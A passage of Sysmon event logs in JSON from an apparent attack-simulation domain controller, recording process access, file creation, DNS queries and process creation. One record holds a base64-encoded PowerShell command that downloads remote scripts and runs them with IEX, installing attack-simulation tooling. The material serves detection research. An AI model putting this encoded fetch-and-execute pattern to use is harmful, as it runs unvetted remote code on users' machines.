11:55:43.928","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4612,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.928\r\nSourceProcessGUID: {90617006-413F-5F2D-0000-001080730600}\r\nSourceProcessId: 4108\r\nSourceThreadId: 3644\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-00103F970600}\r\nTargetProcessId: 2856\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.928","SourceProcessGUID":"{90617006-413F-5F2D-0000-001080730600}","SourceProcessId":"4108","SourceThreadId":"3644","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-00103F970600}","TargetProcessId":"2856","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4613,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:55:43.944\r\nProcessGuid: {90617006-413F-5F2D-0000-0010AF930600}\r\nProcessId: 5032\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\nlfue2jy.dll\r\nCreationUtcTime: 2020-08-07 11:55:43.834","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:55:43.944","ProcessGuid":"{90617006-413F-5F2D-0000-0010AF930600}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\nlfue2jy.dll","CreationUtcTime":"2020-08-07 11:55:43.834","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4614,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.959\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.959","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4615,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.959\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.959","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4616,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.959\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.959","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":4617,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.776\r\nProcessGuid: {90617006-413C-5F2D-0000-0010D6340600}\r\nProcessId: 4664\r\nQueryName: onegetcdn.azureedge.net\r\nQueryStatus: 0\r\nQueryResults: type: 5 onegetcdn.ec.azureedge.net;type: 5 cs9.wpc.v0cdn.net;::ffff:152.199.19.161;\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.776","ProcessGuid":"{90617006-413C-5F2D-0000-0010D6340600}","QueryName":"onegetcdn.azureedge.net","QueryStatus":"0","QueryResults":"type: 5 onegetcdn.ec.azureedge.net;type: 5 cs9.wpc.v0cdn.net;::ffff:152.199.19.161;","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4618,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.177\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAEkAbgB0AGUAcgBuAGUAdAAgAEUAeABwAGwAbwByAGUAcgBcAE0AYQBpAG4AIgAgAC0ATgBhAG0AZQAgACIARABpAHMAYQBiAGwAZQBGAGkAcgBzAHQAUgB1AG4AQwB1AHMAdABvAG0AaQB6AGUAIgAgAC0AVgBhAGwAdQBlACAAMgAKAEkARQBYACAAKABJAFcAUgAgAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcgBlAGQAYwBhAG4AYQByAHkAYwBvAC8AaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAC8AbQBhAHMAdABlAHIALwBpAG4AcwB0AGEAbABsAC0AYQB0AG8AbQBpAGMAcgBlAGQAdABlAGEAbQAuAHAAcwAxACkACgBJAG4AcwB0AGEAbABsAC0AQQB0AG8AbQBpAGMAUgBlAGQAVABlAGEAbQAgAC0ARgBvAHIAYwBlAAoASQBFAFgAIAAoAEkAVwBSACAAJwBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAHIAZQBkAGMAYQBuAGEAcgB5AGMAbwAvAGkAbgB2AG8AawBlAC0AYQB0AG8AbQBpAGMAcgBlAGQAdABlAGEAbQAvAG0AYQBzAHQAZQByAC8AaQBuAHMAdABhAGwAbAAtAGEAdABvAG0AaQBjAHMAZgBvAGwAZABlAHIALgBwAHMAMQAnACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApAAoASQBuAHMAdABhAGwAbAAtAEEAdABvAG0AaQBjAHMARgBvAGwAZABlAHIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAHAAbwBPAHcAbgBlAHIAIAAiAHMAcABsAHUAbgBrACIAIAAtAEIAcgBhAG4AYwBoACAAIgBsAG8AYwBhAGwALQBtAGEAcwB0AGUAcgAiAA==\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413F-5F2D-0000-0020D2720600}\r\nLogonId: 0x672D2\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-413F-5F2D-0000-001069820600}\r\nParentProcessId: 4248\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.177","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAEkAbgB0AGUAcgBuAGUAdAAgAEUAeABwAGwAbwByAGUAcgBcAE0AYQBpAG4AIgAgAC0ATgBhAG0AZQAgACIARABpAHMAYQBiAGwAZQBGAGkAcgBzAHQAUgB1AG4AQwB1AHMAdABvAG0AaQB6AGUAIgAgAC0AVgBhAGwAdQBlACAAMgAKAEkARQBYACAAKABJAFcAUgAgAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcgBlAGQAYwBhAG4AYQByAHkAYwBvAC8AaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAC8AbQBhAHMAdABlAHIALwBpAG4AcwB0AGEAbABsAC0AYQB0AG8AbQBpAGMAcgBlAGQAdABlAGEAbQAuAHAAcwAxACkACgBJAG4AcwB0AGEAbABsAC0AQQB0AG8AbQBpAGMAUgBlAGQAVABlAGEAbQAgAC0ARgBvAHIAYwBlAAoASQBFAFgAIAAoAEkAVwBSACAAJwBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAHIAZQBkAGMAYQBuAGEAcgB5AGMAbwAvAGkAbgB2AG8AawBlAC0AYQB0AG8AbQBpAGMAcgBlAGQAdABlAGEAbQAvAG0AYQBzAHQAZQByAC8AaQBuAHMAdABhAGwAbAAtAGEAdABvAG0AaQBjAHMAZgBvAGwAZABlAHIALgBwAHMAMQAnACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApAAoASQBuAHMAdABhAGwAbAAtAEEAdABvAG0AaQBjAHMARgBvAGwAZABlAHIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAHAAbwBPAHcAbgBlAHIAIAAiAHMAcABsAHUAbgBrACIAIAAtAEIAcgBhAG4AYwBoACAAIgBsAG8AYwBhAGwALQBtAGEAcwB0AGUAcgAiAA==","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413F-5F2D-0000-0020D2720600}","LogonId":"0x672d2","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-413F-5F2D-0000-001069820600}","ParentProcessId":"4248","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 